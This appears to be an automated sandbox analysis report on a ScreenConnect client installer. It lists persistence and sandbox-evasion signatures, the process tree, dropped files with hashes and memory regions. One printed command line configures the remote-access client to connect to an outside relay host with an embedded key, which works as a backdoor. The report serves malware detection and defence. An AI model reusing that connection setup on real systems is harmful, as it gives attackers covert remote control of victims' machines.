Analysis

  • max time kernel
    148s
  • max time network
    111s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/09/2026, 21:09

General

  • Target
    ScreenConnect.ClientSetup.exe
  • Size 5.4MB
  • Sample260916-zzxvbawalg
  • SHA256 0705daac7dbdb5c3814088256e6d4e45e844b35b183c6cd50b9595384fb44276
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:484
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\152e8198016d7668\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:3388
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4256
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4198CA4947E7CE458518E61BF3AFFBB6 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9224.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240751265 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1756
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2696
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5650E46C290004ECE21009EC57EAFACA
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5816
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2184B0C58391B21E638204DAC8338DD2 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5412
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4232
    • C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=alwaysmhost.top&p=8041&s=6a9a374c-6963-4b78-826c-6a13a87482df&k=BgIAAACkAABSU0ExAAgAAAEAAQCRO%2fNgdNLLWq1p1Dpe6UT9ZSvN6LQmQfKsdhWaKbfJYlvTWBXvMjjKnhSp6NjpwSD9zV99%2biCn4%2f0tWSWQKBaT4EzPc5AzbV65Syb1QRbXtgfqyzkrPxtG0JDOTINg8P5KblqRKZzbvm0j9nBg3Y0QOFheOtTsickhMQexu3loZbWatgcIpI9yrrU%2f8t57LoUve%2b%2fCzPU4sq%2fGEyIBZ00qGXtaemS%2bUZ1s5boT2B50oG4uri5%2fROH1%2f6RqkpLtVG6PjJfuezae4tOP2V27STbLWiElXiMU%2fqf279TsqcniIF1FkpLKQIfvTX1RJokKnj9kUgmYjAW6fHnIBTUJ%2fmnB"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3316
      • C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.WindowsClient.exe" "RunRole" "4c054bb2-99cc-4ff9-b97f-09299c34bcb7" "User"
        2⤵
        • Executes dropped EXE
        PID:3580
      • C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.WindowsClient.exe" "RunRole" "e264101b-5dda-407a-8aef-3be2b52eb4ba" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5868

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59e064.rbs

          • Path C:\Config.Msi\e59e064.rbs
          • Size 214KB
          • SHA256 5925d135ffb8192ec87392463b804808a2379d33d0386481ebd47e60932e5446
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\Client.Override.resources
          • Size 15KB
          • SHA256 5c62dbe7af829bb414f78c2137c12c2f2af663b80522f3f23b1366bd01ad9ff5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (152e8198016d7668)\system.config
          • Size 945B
          • SHA256 4ab3e1bc744dd9a4eb0e5141512bf180d09c689267f32b83f59a6c2e6dcb4b6c
          • MD5 SHA1 SHA512 TLSH

          MSI9224.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9224.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9224.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9224.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9224.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9224.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\152e8198016d7668\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 69b4402066e7ce68fb8cce124e52eb9f0ea35a14045025ebe0a5cbe2079f94d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIE69E.tmp

          • Path C:\Windows\Installer\MSIE69E.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 10f5bc8776536228e2da9fa41298c06adf34819cb0f62b48729794641ef06f29
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {8c10009b-5946-4e57-b60a-f6e4ddfef845}_OnDiskSnapshotProp

          • Path \??\Volume{e42a0d43-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{8c10009b-5946-4e57-b60a-f6e4ddfef845}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 997e851b6edc97512f852ad37dc80b228869ca6b0a8fa08868c10be860c1b437
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/484-2-0x0000000074C70000-0x000000007542C000-memory.dmp

          memory/484-9-0x0000000006730000-0x0000000006CEA000-memory.dmp

          memory/484-6-0x0000000005C90000-0x0000000005CB2000-memory.dmp

          memory/484-7-0x0000000005CC0000-0x0000000005E6C000-memory.dmp

          memory/484-0-0x0000000074C82000-0x0000000074C83000-memory.dmp

          memory/484-10-0x0000000074C70000-0x000000007542C000-memory.dmp

          memory/484-3-0x0000000005E80000-0x0000000006172000-memory.dmp

          memory/484-4-0x0000000005BE0000-0x0000000005C6C000-memory.dmp

          memory/484-13-0x0000000074C70000-0x000000007542C000-memory.dmp

          memory/484-1-0x0000000003670000-0x0000000003678000-memory.dmp

          memory/484-8-0x0000000074C70000-0x000000007542C000-memory.dmp

          memory/484-5-0x0000000074C70000-0x000000007542C000-memory.dmp

          memory/1756-40-0x0000000005AE0000-0x0000000005B6C000-memory.dmp

          memory/1756-36-0x0000000005A40000-0x0000000005A4A000-memory.dmp

          memory/1756-44-0x0000000005D20000-0x0000000005ECC000-memory.dmp

          memory/1756-32-0x0000000005A10000-0x0000000005A3E000-memory.dmp

          memory/3316-114-0x0000000004680000-0x00000000046B6000-memory.dmp

          memory/3316-115-0x0000000004760000-0x00000000047F2000-memory.dmp

          memory/3316-117-0x0000000004440000-0x0000000004481000-memory.dmp

          memory/3316-119-0x0000000004950000-0x0000000004A25000-memory.dmp

          memory/3316-88-0x0000000001AF0000-0x0000000001B08000-memory.dmp

          memory/3316-110-0x0000000004630000-0x0000000004680000-memory.dmp

          memory/3580-132-0x000000001C080000-0x000000001C22C000-memory.dmp

          memory/3580-131-0x000000001BE40000-0x000000001BECC000-memory.dmp

          memory/3580-133-0x000000001C230000-0x000000001C3B8000-memory.dmp

          memory/3580-134-0x00000000017A0000-0x00000000017B8000-memory.dmp

          memory/3580-135-0x000000001BAC0000-0x000000001BAD8000-memory.dmp

          memory/3580-136-0x000000001BAE0000-0x000000001BB21000-memory.dmp

          memory/3580-130-0x00000000017C0000-0x00000000017F6000-memory.dmp

          memory/3580-129-0x0000000000E80000-0x0000000000F18000-memory.dmp